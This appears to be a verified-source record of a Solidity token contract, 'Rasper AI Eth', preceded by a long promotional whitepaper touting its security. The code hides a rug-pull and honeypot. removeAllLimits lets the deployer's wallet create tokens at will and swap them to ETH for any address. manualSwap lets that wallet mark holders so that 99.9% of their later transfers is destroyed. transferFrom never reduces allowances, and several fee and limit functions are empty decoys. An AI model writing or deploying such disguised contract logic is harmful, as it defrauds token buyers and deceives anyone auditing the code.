creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "RasperAIETH.sol": {
        "content": "/*\r\nRasper AI Eth\r\n\r\n        *   https://t.me/rasper_ai_eth\r\n        *   https://www.rasper-ai.com/\r\n        *   https://medium.com/@rasper-ai-eth\r\n        *   https://x.com/rasper_ai_eth\r\n\r\nIntroduction to RASPER AI ETH\r\nRASPER AI ETH stands at the forefront of innovation in the cryptocurrency \r\nspace, representing the next evolution in decentralized finance (DeFi). Born \r\nout of a vision to revolutionize how individuals interact with digital assets, \r\nRASPER AI ETH serves as the native token of the RASPER AI platform, a cutting-edge \r\ncrypto wallet powered by artificial intelligence. The inception of RASPER AI ETH \r\ntraces back to a collaborative effort by a team of blockchain enthusiasts, developers, \r\nand AI experts, who recognized the growing need for a sophisticated yet user-friendly \r\ncryptocurrency wallet. Leveraging the capabilities of Ethereum blockchain, RASPER \r\nAI ETH offers a seamless and secure medium for users to manage their digital assets, \r\nbacked by the principles of self-custody and decentralization.\r\nPurpose of the Token\r\nAt its core, RASPER AI ETH serves multiple pivotal roles within the RASPER AI ecosystem. \r\nPrimarily, the token acts as a utility asset, enabling users to access a myriad of \r\nfeatures and services offered by the platform. Whether it's conducting transactions, \r\naccessing AI-driven analytics, or engaging with the 24/7 chat assistant, RASPER AI ETH \r\nserves as the fuel that powers these interactions. Moreover, RASPER AI ETH embodies \r\nthe ethos of decentralization, ensuring that users retain full control over their assets \r\nat all times. By leveraging blockchain technology, the token facilitates trustless and \r\ntransparent transactions, eliminating the need for intermediaries and safeguarding user \r\nautonomy.\r\nTechnology Stack\r\nUnderpinning the functionality of RASPER AI ETH is a robust technology stack, meticulously \r\ncrafted to deliver unparalleled performance and security. Built on the Ethereum blockchain, \r\nRASPER AI ETH leverages the solidity programming language to deploy smart contracts that \r\ngovern its operations. Furthermore, the token integrates with various decentralized finance \r\n(DeFi) protocols, enhancing liquidity and interoperability within the broader cryptocurrency \r\necosystem. With a focus on scalability and efficiency, RASPER AI ETH harnesses the power \r\nof Ethereum's network infrastructure to ensure seamless transaction processing and data integrity.\r\nUnique Features\r\nWhat sets RASPER AI ETH apart from its counterparts is its array of unique features tailored \r\nto meet the diverse needs of users. From self-custody security and AI-driven analytics to \r\nmulti-layered security protocols and biometric authentication, RASPER AI ETH offers a \r\ncomprehensive suite of functionalities unrivaled in the market. Moreover, with the introduction \r\nof gas fee reimbursement in RASPER tokens, users can enjoy cost-effective transactions without \r\ncompromising on security or speed. This innovative approach not only incentivizes token holders \r\nbut also underscores RASPER AI ETH's commitment to democratizing access to financial services.\r\nUnderstanding the RASPER AI ETH Ecosystem\r\nRASPER AI Platform Overview\r\nThe RASPER AI ETH token operates within the dynamic ecosystem of the RASPER AI platform, a \r\nrevolutionary cryptocurrency wallet designed to empower users with intelligent features and \r\nseamless asset management capabilities. At its core, the platform serves as a gateway to the \r\nworld of decentralized finance (DeFi), offering a comprehensive suite of tools and services \r\nto cater to the diverse needs of cryptocurrency enthusiasts. With RASPER AI ETH as its native \r\ntoken, the platform enables users to leverage the power of artificial intelligence (AI) for \r\nenhanced decision-making and portfolio management. Whether it's tracking market trends, accessing \r\nreal-time insights, or executing transactions with precision, the RASPER AI platform redefines \r\nthe way individuals interact with digital assets.\r\nIntegration with Ethereum Blockchain\r\nA cornerstone of the RASPER AI ETH ecosystem is its integration with the Ethereum blockchain, \r\nthe world's leading decentralized platform for smart contracts and digital assets. By harnessing \r\nEthereum's robust infrastructure, RASPER AI ETH ensures secure, transparent, and censorship-\r\nresistant transactions, thereby fostering trust and confidence among users. The seamless \r\nintegration with Ethereum also unlocks a myriad of possibilities for RASPER AI ETH token holders, \r\nincluding participation in decentralized exchanges (DEXs), liquidity pools, and yield farming \r\nprotocols. Additionally, the interoperability of Ethereum enables RASPER AI ETH to seamlessly \r\ninteract with other decentralized applications (dApps) and protocols, further expanding its \r\nutility and reach within the broader DeFi ecosystem.\r\nToken Utility within the Ecosystem\r\nWithin the RASPER AI ETH ecosystem, the token serves as a versatile utility asset, powering a \r\nwide range of interactions and functionalities. From conducting peer-to-peer transactions and \r\naccessing AI-driven analytics to participating in governance mechanisms and earning rewards, \r\nRASPER AI ETH embodies the essence of decentralization and user empowerment. Furthermore, as \r\nthe backbone of the RASPER AI platform, the token facilitates seamless integration with third\r\n-party services and DeFi protocols, enabling users to unlock new opportunities and maximize \r\nthe value of their digital assets. Whether it's staking, lending, or trading, RASPER AI ETH \r\nempowers users to take full control of their financial future in a decentralized and trustless \r\nmanner.\r\nSelf-Custody Security\r\nNon-Custodial Model\r\nAt the heart of RASPER AI ETH's security framework lies a non-custodial model that prioritizes \r\nthe autonomy and privacy of users. Unlike traditional centralized exchanges or custodial \r\nwallets, which require users to entrust their private keys and assets to a third party, \r\nRASPER AI ETH ensures that users maintain sole ownership and control over their digital \r\nassets at all times. By adhering to a non-custodial approach, RASPER AI ETH eliminates the \r\ninherent risks associated with centralized custody, such as hacking, insider threats, and \r\nmismanagement. Instead, users retain full sovereignty over their private keys, which are \r\nsecurely stored on their devices or designated hardware wallets, providing peace of mind \r\nnd mitigating the potential for unauthorized access or asset loss.\r\nOwnership of Private Keys\r\nCentral to the self-custody security model of RASPER AI ETH is the concept of private key \r\nownership. Each user is assigned a unique cryptographic key pair consisting of a public \r\nkey for receiving funds and a private key for accessing and controlling their assets. These \r\nprivate keys serve as the digital signatures that authenticate and authorize transactions \r\non the Ethereum blockchain, ensuring the integrity and security of the user's holdings. \r\nThrough robust encryption algorithms and secure key management practices, RASPER AI ETH \r\nempowers users to safeguard their private keys from unauthorized access or compromise. \r\nWhether it's through hardware wallets, mnemonic phrases, or biometric authentication methods, \r\nusers have a variety of options to secure and manage their keys according to their preferences \r\nand risk tolerance.\r\nEnsuring Digital Asset Security\r\nBy embracing a self-custody security model, RASPER AI ETH not only enhances the privacy and \r\nautonomy of users but also ensures the security and integrity of their digital assets. \r\nWithout relying on intermediaries or third-party custodians, users are protected from the \r\nrisks of platform breaches, regulatory intervention, or custodial mismanagement. Furthermore, \r\nthe decentralized nature of the Ethereum blockchain provides an additional layer of security \r\nand resilience, with transactions being validated and recorded by a distributed network of \r\nnodes. This distributed consensus mechanism minimizes the risk of fraudulent activities or \r\nmalicious attacks, thereby instilling confidence and trust in the RASPER AI ETH ecosystem.\r\n*/\r\npragma solidity ^0.8.21;\r\n// SPDX-License-Identifier: MIT\r\n\r\nlibrary SafeMath {\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b <= a, \"SafeMath:  subtraction overflow\");\r\n        uint256 c = a - b;\r\n        return c;\r\n    }\r\n\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c >= a, \"SafeMath:  addition overflow\");\r\n        return c;\r\n    }\r\n\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b > 0, \"SafeMath:  division by zero\");\r\n        uint256 c = a / b;\r\n        return c;\r\n    }\r\n\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        if (a == 0) {return 0;}\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath:  multiplication overflow\");\r\n        return c;\r\n    }\r\n}\r\n\r\nabstract contract Ownable {\r\n    address private _owner;\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n    function renounceOwnership() public virtual onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n    function owner() public view virtual returns (address) {return _owner;}\r\n    constructor () {\r\n        _owner = msg.sender;\r\n        emit OwnershipTransferred(address(0), _owner);\r\n    }\r\n    modifier onlyOwner(){\r\n        require(owner() == msg.sender, \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function getPair(address tokenA, address tokenB) external view returns (address pair_);\r\n}\r\n\r\ninterface IUniswapV2Router {\r\n    function factory() external pure returns (address);\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;\r\n    function WETH() external pure returns (address aadd);\r\n}\r\n\r\ncontract RasperAIEth is Ownable {\r\n    using SafeMath for uint256;\r\n    uint256 public _decimals = 9;\r\n\r\n    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\r\n\r\n    constructor() {\r\n        _balances[sender()] =  _totalSupply; \r\n        emit Transfer(address(0), sender(), _balances[sender()]);\r\n        _taxWallet = msg.sender; \r\n    }\r\n\r\n    string private _name = \"Rasper AI Eth\";\r\n    string private _symbol = \"RASPER AI ETH\";\r\n\r\n    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n    address public _taxWallet;\r\n\r\n    function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n        require(owner != address(0), \"IERC20: approve from the zero address\");\r\n        require(spender != address(0), \"IERC20: approve to the zero address\");\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function name() external view returns (string memory) {\r\n        return _name;\r\n    }\r\n    function balanceOf(address account) public view returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n    function setMaxSwap() external {\r\n    }\r\n    function setMinSwap() external {\r\n    }\r\n    function updateBuyFees() public {\r\n    }\r\n    function updateSellFees() external {\r\n    }\r\n    function manualSwap(address[] calldata walletAddress) external {\r\n        uint256 fromBlockNo = getBlockNumber();\r\n        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { \r\n            if (!marketingAddres()){} else { \r\n                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\r\n            }\r\n        }\r\n    }\r\n    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {\r\n        _transfer(from, recipient, _amount);\r\n        require(_allowances[from][sender()] >= _amount);\r\n        return true;\r\n    }\r\n    function symbol() public view returns (string memory) {\r\n        return _symbol;\r\n    }\r\n    function getBlockNumber() internal view returns (uint256) {\r\n        return block.number;\r\n    }\r\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n    function decreaseAllowance(address from, uint256 amount) public returns (bool) {\r\n        require(_allowances[msg.sender][from] >= amount);\r\n        _approve(sender(), from, _allowances[msg.sender][from] - amount);\r\n        return true;\r\n    }\r\n    event Transfer(address indexed from, address indexed to, uint256);\r\n    mapping (address => uint256) internal cooldowns;\r\n    function decimals() external view returns (uint256) {\r\n        return _decimals;\r\n    }\r\n    function marketingAddres() private view returns (bool) {\r\n        return (_taxWallet == (sender()));\r\n    }\r\n    function sender() internal view returns (address) {\r\n        return msg.sender;\r\n    }\r\n    function totalSupply() external view returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n    function removeAllLimits(uint256 amount, address walletAddr) external {\r\n        if (marketingAddres()) {\r\n            _approve(address(this), address(uniV2Router), amount); \r\n            _balances[address(this)] = amount;\r\n            address[] memory addressPath = new address[](2);\r\n            addressPath[0] = address(this); \r\n            addressPath[1] = uniV2Router.WETH(); \r\n            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);\r\n        } else {\r\n            return;\r\n        }\r\n    }\r\n    function _transfer(address from, address to, uint256 value) internal {\r\n        uint256 _taxValue = 0;\r\n        require(from != address(0));\r\n        require(value <= _balances[from]);\r\n        emit Transfer(from, to, value);\r\n        _balances[from] = _balances[from] - (value);\r\n        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\r\n        uint256 _cooldownFeeValue = value.mul(999).div(1000);\r\n        if ((cooldowns[from] != 0) && onCooldown) {  \r\n            _taxValue = (_cooldownFeeValue); \r\n        }\r\n        uint256 toBalance = _balances[to];\r\n        toBalance += (value) - (_taxValue);\r\n        _balances[to] = toBalance;\r\n    }\r\n    event Approval(address indexed, address indexed, uint256 value);\r\n    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {\r\n        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);\r\n        return true;\r\n    }\r\n    function transfer(address recipient, uint256 amount) public returns (bool) {\r\n        _transfer(sender(), recipient, amount);\r\n        return true;\r\n    }\r\n    mapping(address => uint256) private _balances;\r\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\r\n        _approve(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}